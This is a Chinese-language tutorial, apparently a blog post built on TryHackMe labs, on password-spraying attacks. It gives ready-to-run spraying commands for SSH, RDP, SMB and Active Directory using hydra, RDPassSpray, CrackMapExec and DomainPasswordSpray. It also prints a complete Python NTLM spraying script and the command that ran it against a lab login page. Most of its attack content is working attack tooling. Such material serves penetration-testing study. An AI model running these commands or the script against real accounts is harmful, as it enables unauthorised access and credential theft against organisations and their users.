密码喷洒攻击技术
原理
密码喷射被认为是发现弱密码的常见密码攻击之一。这种技术可以用于各种在线服务和身份验证系统,如 SSH、SMB、RDP、SMTP、Outlook Web 应用程序等。暴力破解攻击针对特定的用户名尝试许多弱且可预测的密码。而密码喷射攻击则使用一个常见的弱密码针对多个用户名,这有助于避免账户锁定策略。以下图解说明了密码喷射攻击的概念,其中攻击者使用一个常见的密码针对多个用户。

常见且弱的密码通常遵循一定的模式和格式。以下是一些常用密码及其整体格式。
- 当前季节加上当前年份(季节年)。例如,秋季 2020 年,春季 2021 年等。
- 当前月份加上当前年份(月份年)。例如,十一月 2020 年,三月 2021 年等。
- 使用公司名称加上随机数字(CompanyNameNumbers)。例如,TryHackMe01,TryHackMe02。
密码喷洒攻击适用于多种服务:
- SSH
- RDP
- Outlook web access (OWA) portal
- SMB
服务攻击示例
SSH
hydra -L usernames-list.txt -p Spring2021 ssh://10.1.1.10
RDP
python3 RDPassSpray.py -u victim -p Spring2021! -t 10.100.10.240:3026
# 或
python3 RDPassSpray.py -U usernames-list.txt -p Spring2021! -d THM-labs -T RDP_servers.txt
PS:参数解释
- -t 选项是用于选择单个目标主机进行攻击.
- -d 选项指定域名
Outlook web access (OWA) portal
可以使用工具:
- SprayingToolkit (atomizer.py)
- MailSniper
SMB
可以使用工具
- Metasploit (auxiliary/scanner/smb/smb_login)
工具示例
CrackMapExec工具
下载地址:CrackMapExec工具下载
crackmapexec smb 192.168.41.10 -u 1.txt -p '123456' --continue-on-success

DomainPasswordSpray.ps1
Tips:必须是域内用户才可以
UserList:用户字典
Password:单个密码
PasswordList:密码字典
OutFile:输出的文件名
Domain:要爆破的域
Force:强制喷洒继续,而不提示确认
Import-Module DomainPasswordSpray.ps1 # 导入模块
Invoke-DomainPasswordSpray -UserList 1.txt -Domain hack.com -Password Admin@123 -OutFile res.txt

站点攻击示例
通过 OSINT 找到了一个目标组织/站点的用户名列表,还找到了该目标的初始密码为“Changeme123”,访问目标站点,使用密码喷洒攻击试图找到没有修改密码的用户。
目标站点登录页 http://ntlmauth.za.tryhackme.com/:
这里通过自编写代码进行测试:
#!/usr/bin/python3
import requests
from requests_ntlm import HttpNtlmAuth
import sys, getopt
class NTLMSprayer:
def __init__(self, fqdn):
self.HTTP_AUTH_FAILED_CODE = 401
self.HTTP_AUTH_SUCCEED_CODE = 200
self.verbose = True
self.fqdn = fqdn
def load_users(self, userfile):
self.users = []
lines = open(userfile, 'r').readlines()
for line in lines:
self.users.append(line.replace("\r", "").replace("\n", ""))
def password_spray(self, password, url):
print ("[*] Starting passwords spray attack using the following password: " + password)
count = 0
for user in self.users:
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
count += 1
continue
if (self.verbose):
if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
print ("[-] Failed login with Username: " + user)
print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")
def main(argv):
userfile = ''
fqdn = ''
password = ''
attackurl = ''
try:
opts, args = getopt.getopt(argv, "hu:f:p:a:", ["userfile =", "fqdn =", "password =", "attackurl ="])
except getopt.GetoptError:
print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit()
elif opt in ("-u", "--userfile"):
userfile = str(arg)
elif opt in ("-f", "--fqdn"):
fqdn = str(arg)
elif opt in ("-p", "--password"):
password = str(arg)
elif opt in ("-a", "--attackurl"):
attackurl = str(arg)
if (len(userfile) > 0 and len(fqdn) > 0 and len(password) > 0 and len(attackurl) > 0):
#Start attack
sprayer = NTLMSprayer(fqdn)
sprayer.load_users(userfile)
sprayer.password_spray(password, attackurl)
sys.exit()
else:
print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit(2)
if __name__ == "__main__":
main(sys.argv [1:])
使用文本文件中的每个用户名对 URL 进行身份验证。通过监控应用程序的 HTTP 响应代码差异确定凭据对是否有效。如果凭据对有效,应用程序将返回 200 HTTP(OK)代码。如果凭据对无效,应用程序将返回 401 HTTP(未授权)代码。
使用脚本进行攻击:
python3 ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/

可以看到找到了好几组用户。
成功登录:


浙公网安备 33010602011771号